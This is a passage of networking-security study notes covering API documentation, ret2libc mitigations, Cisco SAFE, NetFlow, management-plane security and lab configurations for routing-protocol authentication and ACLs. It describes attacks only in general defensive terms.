Schema Definition (XSD) documents. SOAP was originally created to replace older solutions such as the Distributed Component Object Model (DCOM) and Common Object Request Broker Architecture (CORBA). You can find the latest SOAP specifications at . - Representational State Transfer (REST): This API standard is easier to use than SOAP. It uses JSON instead of XML, and it uses standards such as Swagger and the OpenAPI Specification () for ease of documentation and to encourage adoption. - GraphQL: GraphQL is a query language for APIs that provides many developer tools. GraphQL is now used for many mobile applications and online dashboards. Many different languages support GraphQL. You can learn more about GraphQL at . SOAP and REST use the HTTP protocol; however, SOAP limits itself to a more strict set of API messaging patterns than REST. APIs provide roadmaps that show the implimentation of applications. API documentation can be used by attackers and security proffessionals. API documentation examples: - Swagger (OpenAPI): Swagger is a modern framework of API documentation and development that is the basis of the OpenAPI Specification (OAS). Additional information about Swagger can be obtained at . The OAS specification is available at . - Web Services Description Language (WSDL) documents: WSDL is an XML-based language that is used to document the functionality of a web service. The WSDL specification can be accessed at . - Web Application Description Language (WADL) documents: WADL is an XML-based language for describing web applications. The WADL specification can be obtained from . ## Return-to-LibC Attacks and Buffer Overflows . A “return-to-libc” (or ret2libc) attack typically starts with a buffer overflow. In this type of attack, a subroutine return address on a call stack is replaced by an address of a subroutine that is already present in the executable memory of the process. This is done to potentially bypass the no-execute (NX) bit feature and allow the attacker to inject his or her own code. - Operating systems that support non-executable stack help protect against code execution after a buffer overflow vulnerability is exploited. - A Non-executable stack cannot prevent a ret2libc attack because in this attack, only existing executable code is used. - Stack-smashing protection can prevent or obstruct code execution exploitation because it can detect the corruption of the stack and can potentially “flush out” the compromised segment. - ASCII armoring can be used to mitigate ret2libc attacks. When you implement ASCII armoring, the address of every system library (such as libc) contains a NULL byte (0x00) that you insert in the first 0x01010101 bytes of memory. This is typically a few pages more than 16MB and is called the ASCII armor region because every address up to (but not including) this value contains at least one NULL byte. When this methodology is implemented, an attacker cannot place code containing those addresses using string manipulation functions such as strcpy(). - Of course, this technique doesn’t protect the system if the attacker finds a way to overflow NULL bytes into the stack. A better approach is to use the address space layout randomization (ASLR) technique, which mitigates the attack on 64-bit systems. When you implement ASLR, the memory locations of functions are random. ASLR is not very effective in 32-bit systems, though, because only 16 bits are available for randomization, and an attacker can defeat such a system by using brute-force attacks. ## OWASP Top 10 The Open Web Application Security Project (OWASP) is non-profit charitable organization that leads several industry-wide initiatives to promote the security of applications and software. They list the top 10 most common vulnerabilities against applications: , . ## Security Vulnerabilities in Open Source Software Vulnerability patching for commercial & open software is important. Must use: - Vulnerability management software and scanners, such as Qualys, Nexpose, and Nessus - Software composition analysis tools, such as BlackDuck Hub, Synopsys Protecode (formerly known as AppCheck), FlexNet Code Insight (formerly known as Palamida), - SourceClear, and WhiteSource Security vulnerability feeds, such as MITRE’s CVE list, NIST’s National Vulnerability Database (NVD), VulnDB, and Recorded Future --- # Core Security Source: docs/networking/cisco/core-security/index.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/ --- # Comparing Networking Security Solutions & Deployment Models Source: docs/networking/cisco/core-security/network-security-fundamentals/01.-comparing-networking-security-solutions-and-deployment-models.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-fundamentals/01.-comparing-networking-security-solutions-and-deployment-models/ ## Cisco SAFE and CVDs Cisco SAFE (Security Architecture for the Enterprise) - One of Cisco’s Validated Designs (CVD) - Module framework of CVDs - Combine to create a secure architecture - Allow the proper design of Cisco security products - We’re going to focus on IPS (Firepower) and Firewall (ASA) ### Security Control Framework - Firewalls and Intrusion prevention system work together with other products - SCF increases visibility and control in a network environment ### Defence in Depth - Crucial to the security of a network - Device availability and resiliency - Regulatory compliance - Operational effeciency - Auditable implementations - Global information sharing and collaboration - SAFE allows for modularity and flexibility in design to meet our needs ### Cisco Validated Designs - Be familiar with CVDs - Proven designs to allow products to function the way you want to use them - Edge connectivity - Firewall segmentation - IPS - VPN Solutions **Solutions:** - Not a one size fits all - Every environment is different - Apply the designs that are closest to your environment ## Architectures - Defence in depth - Different CVDs based on your network design - **Data Centre:** - Firewalls would enforce access policies - Exclude insecure protocols - Protect against internal threats - Intrusion prevention systems - Provide deep packet inspection - Cisco Firepower **WAN Edge:** - Firewall to protect WAN Edge - Adaptive Security Appliance (ASA) - Firepower Threat Defence (FTD) - IOS Zone Based Firewalls - Enforce security policy - Provide inspections at firewall level **Branch:** - Multiple attack vectors - VPNs - connect back to enterprise - Firewalls - implicit deny - IPS ## Designing & Deploying Firewall Solutions ### IOS Zone Based Firewall - Zone Based Firewall running on an IOS device - Protects network with security zones - Stateful - Define zones, assign interfaces to zones, define zone to zone allow traffic - Replaces ACLs on each interface ### High Availablity **Active/Active:** - Two devices can pass traffic at the same time - Configurations are replicated - Both devices are providing services **Active/Standby:** - Only one (active) firewall is passing the traffic - Configs are replicated from active device to standby device - If active device fails, standby device would take over role of active ### Adaptive Security Appliance - Cisco’s firewall workhorse for years - Single or multi-context mode - Multi-context mode logically divides 1 physical appliance - Each logical ASA is called a security context - Only active/active mode is available if using multiple contexts - ASA Cluster - Group multiple ASAs together into one logical device - Easier management - Better throughput - Better redundancy - shared workload ### Transparent vs Routed Mode **Routed Mode:** - Firewall is next routing hop - Either default gateway - Or visible layer 3 hop in the packets **Transparent mode:** - Layer 2 device - Only a bump in the wire ### VPN Termination - VPNs are in most organizations - Will determine where ASAs of FTD are placed in the network - Place firewall close to the border OR - Have a separate set of dedicated for VPN termination - Firepower threat defense can be the firewall solution ## Designing & Deploying IPS Solutions ### Firepower features - Analytics and automated defense against threats - URL Filtering - Malware protection - Network profiling - Identity-based policies and control - Application visibility and control ### Firepower Module in an ASA - Provides IPS/IDS functionality to an ASA - Next Generation IPS - ASA FirePOWER Services - CVDs will help determine where to place ASA with FirePOWER Services ### Next Generation IPS - Defense in depth - Deploy sensors throughout the network - Allows us to protect critical systems, not just the border ### Firepower Threat Defence - Many firewall features from the ASA, as well as Firepower IPS features - Deep packet inspection - Malware protection - Firewall features - VPN termination - Not all ASA features are available on FTD yet ### Managing Firepower - Firepower Device Manager (FDM) - On board management of a single FTD - Smaller, less complex deployments - Less analytics and configuration options - Firepower Management Center (FMC) - Manage multiple firepowers - FTD - Firepower sensors - FirePOWER services on an ASA - Analytics - Security Intelligence - Correlation tools for the threats ### Firepower High Availability - Firepower and FMC can be configured for Active/Standby - FTD devices can be deployed in a cluster - Multitenancy (similar to multi-context mode) ## Additional Integrations for Firepower and ASAs ### REST APIs - Create custom programs or scripts to gain context or control FTD or ASA ### pxGrid - Platform Exchange Grid (pxGrid) - Used in almost all of Cisco’s security products - ISE is needed to run pxGrid - Rapid Threat Containment - Create policy based on user information - dynamically shut down hosts ### Cisco Threat Response - Cloud Offering - Detect, investigate, analyse and respond to threats ### Authentication Integrations - Use Cisco ISE to authenticate management administrators and VPN users --- # Describing Components, Capabilities, & Benefits of NetFlow Source: docs/networking/cisco/core-security/network-security-fundamentals/02.-describing-components-capabilities-and-benefits-of-netflow.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-fundamentals/02.-describing-components-capabilities-and-benefits-of-netflow/ ## NetFlow Introduction ### What is Flow? - Information about the packets that traverse a router - Source and destination, ports, and the protocol being used ### NetFlow - Created by Cisco - Netflow records stored in NetFlow cache - NetFlow records are small - Receipt of the traffic - Flows are unidirectional - Send to stealthwatch for analytics - User ports - Data center - VPNs - Internet Edge - Sample traffic - May miss important packets ## Netflow Benefits - Use existing hardware - Dont need to purchase expensive network tap infrastructure - Network as a sensor - Gain insight about the traffic using the network - Use information to make strategic business decisions ### Aditional NetFlow Benefits - Use NetFlow information to make design changes - Test different changes and verify the traffic is being shaped the way you want to - Use NetFlow to troubleshoot issues and find root cause ### NetFlow Secuirty Benefits - Quickly identify suspicious traffic - Concerning Port (the type of traffic doesn’t match the services) - Wrong Industry (traffic flowing to sites that your organisation doesnt do buisness with) - Embargoed Countries (Traffic leaves the country your org resides in destined to an embargoed country) ### Network as an Enforcer - Integrate with different Cisco tools - Segment traffic - Switch can apply ACLs dynamically ## NetFlow Versions & Flow Standards ### NetFlow Versions **Netflow v1:** - Limited to IPv4 without network masks - Obsolete **Netflow v5:** - Can collect IP ToS, ASN, network masks **Netflow v9:** - Template based - Can add or remove infor without rewriting code ### NetFlow v9 - Template is included in NetFlow packet - Stealthwatch will know what info to expect - UDP 2055 - 127 different field types ### Flexible NetFlow - Different cache buckets - Can have different data stored in different caches - Allow for users to create their own fields of what to collect on ### IPFIX - IETF standard based on NetFlow v9 - Supports templates - UDP 4739 ### Configuring NetFlow - Create flow record - Create flow exporter - Create flow monitor - Apply flow monitor to interface ## Cisco Stealthwatch ### Stealthwatch - Normalize traffic and find anomalies - Spike in traffic - Suspicious IPs and ports - Malware in encrypted traffic - Concern index - Associate users to flow - Flow generated for all traffic **Usages:** - PxGrid - Custom policies - Forensics - Generate reports ### Stealthwatch Components - SMC - Used to interact with flow and what analyses the flow - Flow collector - Device that all network devices send flow to - Associate Proxy information with flow data - Both flow collector and SMC are required for Stealthwatch ### Aditional Stealthwatch Benefits - Flow sensor - Generate flow for devices that cannot do it natively - Can be used for layer 2 only traffic - UDP Director - Aggregates flow and sends to stealthwatch - Allows devices to only send flow to one destination --- # Securing the Management Plane Source: docs/networking/cisco/core-security/network-security-fundamentals/03.-securing-the-management-plane.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-fundamentals/03.-securing-the-management-plane/ ## Secure Planes ### Physical Security - One of the most important things to consider - Configurations to secure device be undone if anyone has access to device - Boot into ROMmon - Could just as easily power off device - Cut cables ### Network Device Planes ![image1](_images/device-planes.png) ## Telnet, HTTP, SSH, and HTTPs ### How Do You Manage a Device? - Console - Telnet - HTTP - Without encryption, data can be compromised ## AAA TACACS+ & RADIUS are used for AAA ### Managing Administrators - Create users, passwords, and permissions on each device - Doesn’t scale - AAA Authentication, Authorization & Accounting ### AAA Process - Provide security guard with identification (Guard authenticates you) - Verify that the proper forms and approvals have been met (Guard authorizes you) - Logbook and camera track movements and activities (Accounting record) ## RADIUS & TACACS+ ### RADIUS - Remote Authentication Dial-in User Service - Users would dial office modem - Radius used for authentication - UDP Ports 1812 & 1813 - Password field is encrypted **Authentication Protocols:** - Challenge Handshake Authentication Protocol (CHAP) - Password Authentication Protocol (PAP) - Microsoft CHAP (MS-CHAP) - Extensible Authentication Protocol (EAP) **RADIUS Messages:** - Access-Accept - Access-Reject - Access-Challenge - Accounting-Request - Accounting-Response ### TACACS+ - Terminal Access Controller Access Control System - Does not include authorization in authentication request - Start message - Reply asking for username - Continue with username - Reply asking for password - Continue with password - Reply with authentication determination - TCP port 49 - Entire payload is encrypted **Authorization Messages:** - AAA Client starts with a new conversation for authentication - Occurs each time user tries to do anything - Send a request message - Server Responds with: - FAIL - PASS_ADD - PASS_REPL - FOLLOW - ERROR **Accounting Messages:** - Request - Response ### When Do You Use TACACS+? - Use to authorize IT employees - Have different command sets per different IT levels - Each command set would verify with AAA server that the user is authorized - Continue checking authorization for each command ### When Do You Use RADIUS? - User access to the network - 802.1X - Change of Authorization (CoA) - Cisco ISE ## SNMP ### SNMP Benefits - Audit trail - Immediately alerted of issues - Events are stored in MIB - Changes can be made by SNMP server ### SNMPv1 & SNMPv2c - Community strings - all info is in plain text - At a minimum change default community - Too many orgs leave the default - Easy attack ### SNMPv3 Configuration - noAuthnoPriv - Similar to SNMPv1 and SNMPv2c - not secure - AuthNoPriv - Username and HMAC password - AuthPriv - Username, HMAC password, & encryption - most secure - SNMP users are tied to SNMP groups - SNMP groups can be restricted to only see certain info from MIB ## Additional Protocol Security ### Securely Transferring Files - Secure File Transfer Protocol (SFTP) - Secure version of FTP - Uses SSH framework to provide security - Requires secure algorithms! - Secure Copy Protocol (SCP) - Also uses SSH to secure traffic - Also relies on secure algorithms ### Syslog - Logs created for events - SIEM correlates logs and finds anomalies - Syslog messages aren’t secure - Theres now Secure Syslog - Using TLS ### Network Time Protocol - Proper time allows logs and SNMP messages to be correlated - Some industries require precision time in orter to function - Not traditionally secured - easily attacked - DoS attacks & disrupting business activities - Use NTP authentication ### DNS - Registrar hijacking - Attacker hacks into organizations DNS account - DNS Cache Poisoning - Attacker sends false DNS records to DNS server - Can point DNS records to malicious server to cause DoS or gain data ### Cisco Discovery Protocol - Learn which devices are connected - IP Address, device model, VLANs, etc. - Info can be used by attacker - Reconnaissance - Disable CDP on untrusted interfaces ## Management Plane ACLs - Controls which IPs and protocols access management plane - Permit and deny traffic based on srs/dst IPs and ports - Deny insecure protocols - Allow ssh and https from management IPs - Permit mgmt. protocols to/from management servers - Apply ACL to mgmt. plane --- # Securing the Control Plane and Data Plane on Cisco Routers Source: docs/networking/cisco/core-security/network-security-fundamentals/04.-securing-the-control-plane-and-data-plane-on-cisco-routers.md URL: https://docs.calebsargeant.com/networking/cisco/core-security/network-security-fundamentals/04.-securing-the-control-plane-and-data-plane-on-cisco-routers/ ## Lab Setup
![securing control plane and data plane on cisco routers](_images/securing-control-plane-and-data-plane-on-cisco-routers.png)
Lab topology
[Download Lab File](https://github.com/CalebSargeant/docs2/blob/master/.gitbook/assets/securing-control-plane-and-data-plane-on-cisco-routers.gns3project?raw=true) **Router1:** ``` text Router# Router#conf t Router(config)#hostname Router1 Router1(config)#int g0/1 Router1(config-if)#ip add 12.12.12.1 255.255.255.0 Router1(config-if)#no shut Router1(config-if)#int lo1 Router1(config-if)#ip add 1.1.1.1 255.255.255.255 Router1(config-if)#no shut Router1(config-if)#do wr ``` **Router2:** ``` text Router#conf t Router(config)#hostname Router2 Router2(config)#int g0/1 Router2(config-if)#ip add 12.12.12.2 255.255.255.0 Router2(config-if)#no shut Router2(config-if)#int lo1 Router2(config-if)#ip add 2.2.2.2 255.255.255.255 Router2(config-if)#no sh Router2(config-if)#int g0/2 Router2(config-if)#ip add 23.23.23.2 255.255.255.0 Router2(config-if)#no shut Router2(config-if)#do wr ``` **Router3:** ``` text Router#conf t Router(config)#hostname Router3 Router3(config)#int g0/1 Router3(config-if)#ip add 23.23.23.1 255.255.255.0 Router3(config-if)#no shut Router3(config-if)#int lo1 Router3(config-if)#ip add 3.3.3.3 255.255.255.255 Router3(config-if)#no shut Router3(config-if)#do wr ``` ## Securing EIGRP ### Securing the Control Plane - Use MD5 hash of a passcode/key - Prevents rogue router from injecting - EIGRP malicious routes - Authentication Create passcode inside of keychain - Reference keychain on interfaces participating in EIGRP ### Other Routing Protocols - RIP - Authentication key configured inside of keychain - OSPF - Authentication key configured on interface - BGP - Authentication key configured in BGP configuration mode ### Configuration Steps - Configure EIGRP - Create keychain - Reference keychain on interfaces [Download Lab File](https://github.com/CalebSargeant/docs2/blob/master/.gitbook/assets/securing-control-plane-and-data-plane-on-cisco-routers-eigrp.gns3project?raw=true) **Router1:** ``` text Router1#conf t Router1(config)#router eigrp 100 Router1(config-router)#network 12.12.12.0 0.0.0.255 Router1(config-router)#network 1.1.1.0 0.0.0.255 Router1(config-router)#passive-interface default Router1(config-router)#no passive-interface gi 0/1 Router1(config-router)#exit Router1(config)#key chain GloboRoutingKeys Router1(config-keychain)#key 1 Router1(config-keychain-key)#key-string Globo123 Router1(config-keychain-key)#exit Router1(config-keychain)#exit Router1(config)#int g0/1 Router1(config-if)#ip authentication key-chain eigrp 100 GloboRoutingKeys Router1(config-if)#ip authentication mode eigrp 100 md5 Router1(config-if)#do show run | sec key key chain GloboRoutingKeys key 1 key-string Globo123 ip authentication key-chain eigrp 100 GloboRoutingKeys Router1(config-if)#exit Router1(config)#service password-encryption Router1(config)#do show run | sec key key chain GloboRoutingKeys key 1 key-string 7 1535070306257A767B ip authentication key-chain eigrp 100 GloboRoutingKeys Router1(config)#do wr ``` **Router 2:** ``` text Router2#conf t Router2(config)#service password-encryption Router2(config)#router eigrp 100 Router2(config-router)#passive-interface default Router2(config-router)#no passive-interface gi 0/1 Router2(config-router)#no passive-interface gi 0/2 Router2(config-router)#network 23.23.23.0 0.0.0.255 Router2(config-router)#network 2.2.2.0 0.0.0.255 Router2(config-router)#network 12.12.12.0 0.0.0.255 Router2(config-router)#key chain GloboRoutingKeys Router2(config-keychain)#key 1 Router2(config-keychain-key)#key-string Globo123 Router2(config-keychain-key)#exit Router2(config-keychain)#exit Router2(config)#int g0/1 Router2(config-if)#ip authentication key-chain eigrp 100 GloboRoutingKeys Router2(config-if)#ip authentication mode eigrp 100 md5 Router2(config-if)#do wr ``` **Router 3:** ``` text Router3#conf t Router3(config)#router eigrp 100 Router3(config-router)#passive-interface default Router3(config-router)#no passive-interface gi 0/1 Router3(config-router)#network 3.3.3.0 0.0.0.255 Router3(config-router)#network 23.23.23.0 0.0.0.255 Router3(config-router)#do wr ``` **EIGRP Debug:** ``` text # We see that router 1 is ignoring the packets until auth configured *Dec 4 19:04:41.469 EIGRP: Gi0/1: ignored packet from 12.12.12.1, opcode = 5 (authentication off or key-chain missing) # We see the adjacency forms when auth is configured *Dec 4 19:07:33.818: %DUAL-5-NBRCHANGE: EIGRP-IPv4 100: Neighbor 12.12.12.1 (GigabitEthernet0/1) is up: new adjacency ### show ip route on Router3 Router3(config-router)#do show ip route Codes: L local, C - connected, S static, R - RIP , M mobile, B - BGP D - EIGRP , EX EIGRP external, 0 OSPF. IA OSPF inter area N1 OSPF NSSA external type 1, N2 OSPF NSSA external type 2 E1 OSPF external type 1, E2 OSPF external type 2 i. IS-IS, su - IS-IS summary, L1 IS-IS level-1, L2 - IS-IS level-2 ia IS-IS inter area, candidate default, U - per-user static route o - ODR, P periodic downloaded static route, H NHRP , 1 LISP a application route + replicated route, % - next hop override, overrides from PfR Gateway of last resort is not set 1.0.0.0/24 is subnetted, 1 subnets D 1.1.1.0 [90/131072] via 23.23.23.2, 00:00:11. GigabitEthernet0/1 2.0.0.0/24 is subnetted, 1 subnets D 2.2.2.0 [90/130816] via 23.23.23.2, 00:00:11, GigabitEthernet0/1 3.0.0.0/8 is variably subnetted, 2 subnets, 2 masks C 3.3.3.0/24 is directly connected, Loopback3 L 3.3.3.3/32 is directly connected, Loopback3 12.0.0.0/24 is subnetted, 1 subnets S 12.12.12.0 [1/0] via 23.23.23.2 23.0.0.0/8 is variably subnetted, 2 subnets, 2 masks C 23.23.23.0/24 is directly connected, GigabitEthernet0/1 L 23.23.23.3/32 is directly connected, GigabitEthernet0/1 ### ping 1.1.1.1 from 3.3.3.3 Router3(config-router)#do ping 1.1.1.1 source 3.3.3.3 Type escape sequence to abort. Sending 5, 100-byte ICMP Echos to 1.1.1.1, timeout is 2 seconds: Packet sent with a source address of 3.3.3.3 !!!!! Success rate is 100 percent (5/5), round-trip min/avg/max = 4/5/8 ms ``` ## Securing RIP - Use the keychain - Configure RIPv2 - Configure authentication [Download Lab File](https://github.com/CalebSargeant/docs2/blob/master/.gitbook/assets/securing-control-plane-and-data-plane-on-cisco-routers-rip.gns3project?raw=true) **Router1:** ``` text Router1#conf t Router1(config)#key chain GloboRoutingKeys Router1(config-keychain)#key 1 Router1(config-keychain-key)#key-string Globo123 Router1(config-keychain-key)#exit Router1(config-keychain)#exit Router1(config)#router rip Router1(config-router)#version 2 Router1(config-router)#passive-interface default Router1(config-router)#no passive-interface gig 0/1 Router1(config-router)#network 1.1.1.0 Router1(config-router)#network 12.12.12.0 Router1(config-router)#int g0/1 Router1(config-if)#ip rip authentication key-chain GloboRoutingKeys Router1(config-if)#ip rip authentication mode md5 Router1(config-if)#do wr ``` **Router2:** ``` text Router2#conf t Router2(config)#key chain GloboRoutingKeys Router2(config-keychain)#key 1 Router2(config-keychain-key)#key-string Globo123 Router2(config-keychain-key)#exit Router2(config-keychain)#exit Router2(config)#router rip Router2(config-router)#version 2 Router2(config-router)#passive-interface default Router2(config-router)#no passive-interface gi 0/1 Router2(config-router)#no passive-interface gi 0/2 Router2(config-router)#network 2.2.2.0 Router2(config-router)#network 12.12.12.0 Router2(config-router)#network 23.23.23.0 Router2(config)#interface range gi 0/1 - 2 Router2(config-if-range)#ip rip authentication key-chain GloboRoutingKeys Router2(config-if-range)#ip rip authentication mode MD5 Router2(config-if)#do wr ``` **Router3:** ``` text Router3#conf t Router3(config)#key chain GloboRoutingKeys Router3(config-keychain)#key 1 Router3(config-keychain-key)#key-string Globo123 Router3(config-keychain-key)#exit Router3(config-keychain)#exit Router3(config)#router rip Router3(config-router)#version 2 Router3(config-router)#passive-interface default Router3(config-router)#no passive-interface gi 0/1 Router3(config-router)#network 23.23.23.0 Router3(config-router)#network 3.3.3.0 Router3(config-router)#int gi 0/1 Router3(config-if)#ip rip authentication key-chain GloboRoutingKeys Router3(config-if)#ip rip authentication mode md5 Router3(config-if)#do wr ``` **RIP Debug:** ``` text Router3#sh ip route Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP a - application route + - replicated route, % - next hop override, p - overrides from PfR Gateway of last resort is not set R 1.0.0.0/8 [120/2] via 23.23.23.2, 00:00:13, GigabitEthernet0/1 R 2.0.0.0/8 [120/1] via 23.23.23.2, 00:00:13, GigabitEthernet0/1 3.0.0.0/32 is subnetted, 1 subnets C 3.3.3.3 is directly connected, Loopback1 R 12.0.0.0/8 [120/1] via 23.23.23.2, 00:00:13, GigabitEthernet0/1 23.0.0.0/8 is variably subnetted, 2 subnets, 2 masks C 23.23.23.0/24 is directly connected, GigabitEthernet0/1 L 23.23.23.1/32 is directly connected, GigabitEthernet0/1 ``` ## Securing OSPF - Configure authentication without a hash - Look at packet capture - Configure authentication to use hash - Configure the other routers [Download Lab File](https://github.com/CalebSargeant/docs2/blob/master/.gitbook/assets/securing-control-plane-and-data-plane-on-cisco-routers-ospf.gns3project?raw=true) **Router1:** ``` text Router1#conf t Router1(config)#key chain GloboRoutingKeys Router1(config-keychain)#key 1 Router1(config-keychain-key)#key-string Globo123 Router1(config-keychain-key)#exit Router1(config-keychain)#exit Router1(config)#router ospf 100 Router1(config-router)#passive-interface default Router1(config-router)#no passive-interface GigabitEthernet 0/1 Router1(config-router)#network 12.12.12.0 0.0.0.255 area 0 Router1(config-router)#network 1.1.1.0 0.0.0.255 area 0 Router1(config-router)#exit Router1(config)#interface GigabitEthernet 0/1 Router1(config-if)#ip ospf 100 area 0 Router1(config-if)#ip ospf authentication message-digest Router1(config-if)#ip ospf message-digest-key 1 md5 Globo123 Router1(config-if)#do wr ``` **Router2:** ``` text Router2#conf t Router2(config)#key chain GloboRoutingKeys Router2(config-keychain)#key 1 Router2(config-keychain-key)#key-string Globo123 Router2(config-keychain-key)#exit Router2(config-keychain)#exit Router2(config)#router ospf 100 Router2(config-router)#passive-interface default Router2(config-router)#no passive-interface GigabitEthernet 0/1 Router2(config-router)#no passive-interface GigabitEthernet 0/2 Router2(config-router)#network 12.12.12.0 0.0.0.255 area 0 Router2(config-router)#network 23.23.23.0 0.0.0.255 area 0 Router2(config-router)#network 2.2.2.0 0.0.0.255 area 0 Router2(config-router)#exit Router2(config)#interface range GigabitEthernet 0/1 - 2 Router2(config-if)#ip ospf 100 area 0 Router2(config-router)#ip ospf authentication message-digest Router2(config-if)#ip ospf message-digest-key 1 md5 Globo123 Router2(config-if)#do wr ``` **Router3:** ``` text Router3#conf t Router3(config)#key chain GloboRoutingKeys Router3(config-keychain)#key 1 Router3(config-keychain-key)#key-string Globo123 Router3(config-keychain-key)#exit Router3(config-keychain)#exit Router3(config)#router ospf 100 Router3(config-router)#passive-interface default Router3(config-router)#no passive-interface GigabitEthernet 0/1 Router3(config-router)#network 23.23.23.0 0.0.0.255 area 0 Router3(config-router)#network 3.3.3.0 0.0.0.255 area 0 Router3(config-router)#exit Router3(config)#interface GigabitEthernet 0/1 Router3(config-if)#ip ospf 100 area 0 Router3(config-router)#ip ospf authentication message-digest Router3(config-if)#ip ospf message-digest-key 1 md5 Globo123 Router3(config-if)#do wr ``` **OSPF Debug:** ``` text ### OSPF without hashing: Router1(config-if)#ip ospf authentication-key Globo123 Router1(config-if)#ip ospf authentication ```
![securing control plane and data plane on cisco routers ospf](_images/securing-control-plane-and-data-plane-on-cisco-routers-ospf1.png)
Packet capture showing OSPF authentication in plain-text
``` text ### OSPF with hashing: Router1(config-if)#ip ospf authentication message-digest Router1(config-if)#ip ospf message-digest-key 1 md5 Globo123 ```
![securing control plane and data plane on cisco routers ospf](_images/securing-control-plane-and-data-plane-on-cisco-routers-ospf2.png)
Packet capture showing OSPF Auth Type as Cryptographic
``` text Router3(config-if)#do sh ip route Codes: L - local, C - connected, S - static, R - RIP, M - mobile, B - BGP D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2 E1 - OSPF external type 1, E2 - OSPF external type 2 i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2 ia - IS-IS inter area, * - candidate default, U - per-user static route o - ODR, P - periodic downloaded static route, H - NHRP, l - LISP a - application route + - replicated route, % - next hop override, p - overrides from PfR Gateway of last resort is not set 1.0.0.0/32 is subnetted, 1 subnets O 1.1.1.1 [110/3] via 23.23.23.2, 00:00:09, GigabitEthernet0/1 2.0.0.0/32 is subnetted, 1 subnets O 2.2.2.2 [110/2] via 23.23.23.2, 00:00:09, GigabitEthernet0/1 3.0.0.0/32 is subnetted, 1 subnets C 3.3.3.3 is directly connected, Loopback1 12.0.0.0/24 is subnetted, 1 subnets O 12.12.12.0 [110/2] via 23.23.23.2, 00:00:09, GigabitEthernet0/1 23.0.0.0/8 is variably subnetted, 2 subnets, 2 masks C 23.23.23.0/24 is directly connected, GigabitEthernet0/1 L 23.23.23.1/32 is directly connected, GigabitEthernet0/1 ## Securing OSPF * Use the keychain * Configure RIPv2 * Configure authentication ``` ## Securing BGP - Configure TTL Security command - Configure BGP neighbor authentication **Multihops:** - Command to allow peers to connect: `neighbor 23.23.23.0 ebgp-multihop` - More secure way to do it (specifying exact number of hops for neighborship to perform): `neighbor 23.23.23.0 ttl-security hops 2` - Protects against peering with an unauthorised neighbor - Prevents DoS against BGP process - Prevents a CPU exhaustion attack (lots of SYN packets) - if TTL too high, router won’t accept packet and CPU won’t be affected ![image1](_images/securing-control-plane-and-data-plane-on-cisco-routers-bgp1.png) [Download Lab File](https://github.com/CalebSargeant/docs2/blob/master/.gitbook/assets/securing-control-plane-and-data-plane-on-cisco-routers-ospf.gns3project?raw=true) **Router1:** ``` text Router1(config)#ip route 23.23.23.0 255.255.255.0 12.12.12.2 Router1(config)#router bgp 66001 Router1(config-router)#bgp router-id 12.12.12.1 Router1(config-router)#neighbor 23.23.23.1 remote-as 66003 Router1(config-router)#network 1.1.1.0 mask 255.255.255.0 Router1(config-router)#neighbor 23.23.23.1 ttl-security hops 2 Router1(config-router)#neighbor 23.23.23.1 password Globo123 ``` **Router3:** ``` text Router3(config)#ip route 12.12.12.0 255.255.255.0 23.23.23.2 Router3(config)#router bgp 66003 Router3(config-router)#bgp router-id 23.23.23.3 Router3(config-router)#neighbor 12.12.12.1 remote-as 66001 Router3(config-router)#network 3.3.3.0 mask 255.255.255.0 Router3(config-router)#neighbor 12.12.12.1 ttl-security hops 2 Router3(config-router)#neighbor 12.12.12.1 password Globo123 ``` **BGP Debug:** ``` text Router1(config-router)#do clear ip bgp * Router3(config-router)#do clear ip bgp * ``` ## Access Control Lists All ACLs have an implicit deny statement at the bottom of the list ### Standard ACL - Matches the source IP address - Permit and deny - IP address followed by - wildcard - use keyword host - use keyword any - Traffic is matched against an ACL line-by-line until a match is found **Sample Standard ACL** ``` text (config)#access-list 11 permit 192.168.1.0 0.0.0.255 (config)#access-list 11 deny host 172.20.1.55 (config)#access-list 11 permit 172.20.1.0 0.0.0.255 (config)#access-list 11 deny any ``` **Sample Standard ACL 2** ``` text (config)#ip access-list standard 1350 (config-std-nacl)#permit 192.168.1.0 0.0.0.255 (config-std-nacl)#permit 172.20.1.0 0.0.0.255 (config-std-nacl)#deny host 172.20.1.55 (config-std-nacl)#deny any ``` ### Extended ACL - Source & destination IP addresses - Layer 4 protocol - Layer 4 port - QoS, multicast, & routing protocols - Extended ACLs are numbered (100-199 & 2000-2699) **Sample Extended ACL** ``` text (config)#access-list 111 permit ip 10.10.10.0 0.0.0.255 any log (config)#access-list 111 deny tcp any host 192.168.1.85 eq 22 log (config)#access-list 111 deny any any ``` **Sample Extended ACL 2** ``` text (config)#ip access-list extended 2050 (config-ext-nacl)#deny ip host 192.168.1.50 any (config-ext-nacl)#deny ip host 192.168.1.51 any (config-ext-nacl)#permit ip 192.168.1.0 0.0.0.255 any ``` ## Applying ACLs and Other ACL Types ### ACL Placement - Apply the ACL inbound or outbound on an interface - `(config-if)#ip access-group nameOrNumber {inlout}` ### Other ACL Usage ``` text permit host 1.1.5.25 permit host 1.1.5.26 deny any ``` - Inside of auth policy - Define traffic to be NATd - Traffic to be encrypted - Can be used on VLAN interfaces - dACls - Policy-maps ### Time Based ACL ``` text (config)#time-range Friday (config-time-range)#periodic Friday 08:00 to 16:59 (config-time-range)#exit (config)#time-range Jan2020 (config-time-range)#absolute start 00:00 Jan 2020 end 23:59 31 Jan 2020 (config-time-range)#exit (config)#access-list 2050 permit ip 172.20.1.0 0.0.0.255 any time-range Jan2020 ``` ### Reflexive ACLs - Keep track of IP sessions - Create dynamic ACEs allowing return traffic - Once session has ended ACE will be removed ``` text (config)#ip access-list extended Internet-Traffic-Out (config-ext-nacl)#permit tcp 172.20.1.0 0.0.0.255 any eq 443 reflect dynamic-ACL (config-ext-nacl)#permit tcp 172.20.1.0 